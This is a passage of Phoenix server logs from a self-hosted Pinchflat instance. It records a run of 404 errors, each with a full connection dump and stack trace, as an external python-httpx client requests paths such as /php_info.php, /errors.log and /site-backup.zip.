], request_path: "/info1.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0jQcGWdQa70AAKMx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:03.597 [info] GET /php_info.php 14:08:03.599 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=781.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:03.600 [debug] QUERY OK source="settings" db=0.8ms idle=781.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:03.600 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:03.601 [error] #PID<0.12418.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 122) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /php_info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 122, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12418.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0kx7KEfL3F0AAKNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 122, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 122, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12418.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0kx7KEfL3F0AAKNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 14:08:04.024 [info] GET /errors.log 14:08:04.025 [debug] QUERY OK source="settings" db=1.3ms idle=931.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:04.027 [debug] QUERY OK source="settings" db=1.0ms idle=836.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:04.027 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:04.028 [error] #PID<0.12419.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 123) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /errors.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /errors (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/errors.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 123, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12419.0>, params: %{}, path_info: ["errors"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/errors.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0mXtZZfj59kAAKNR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/errors.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 123, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /errors (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/errors.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 123, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12419.0>, params: %{}, path_info: ["errors"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/errors.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0mXtZZfj59kAAKNR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 14:08:04.610 [info] GET /Thumbs.db 14:08:04.611 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1012.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:04.612 [debug] QUERY OK source="settings" db=0.6ms idle=1011.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:04.613 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:04.613 [error] #PID<0.12420.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 124) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /Thumbs.db ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Thumbs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Thumbs.db", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 124, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12420.0>, params: %{}, path_info: ["Thumbs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/Thumbs.db", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0ojkWJ_pn6cAAKNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Thumbs.db", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 124, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Thumbs (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Thumbs.db", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 124, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12420.0>, params: %{}, path_info: ["Thumbs"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/Thumbs.db", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0ojkWJ_pn6cAAKNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status (truncated) 14:08:05.250 [info] GET /site-backup.zip 14:08:05.252 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=639.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:05.253 [debug] QUERY OK source="settings" db=0.5ms idle=639.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:05.253 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:05.254 [error] #PID<0.12421.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 125) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /site-backup.zip ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site-backup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site-backup.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 125, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12421.0>, params: %{}, path_info: ["site-backup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/site-backup.zip", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0q8JhUAqTWkAAKNx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site-backup.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 125, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site-backup (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site-backup.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 125, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12421.0>, params: %{}, path_info: ["site-backup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} 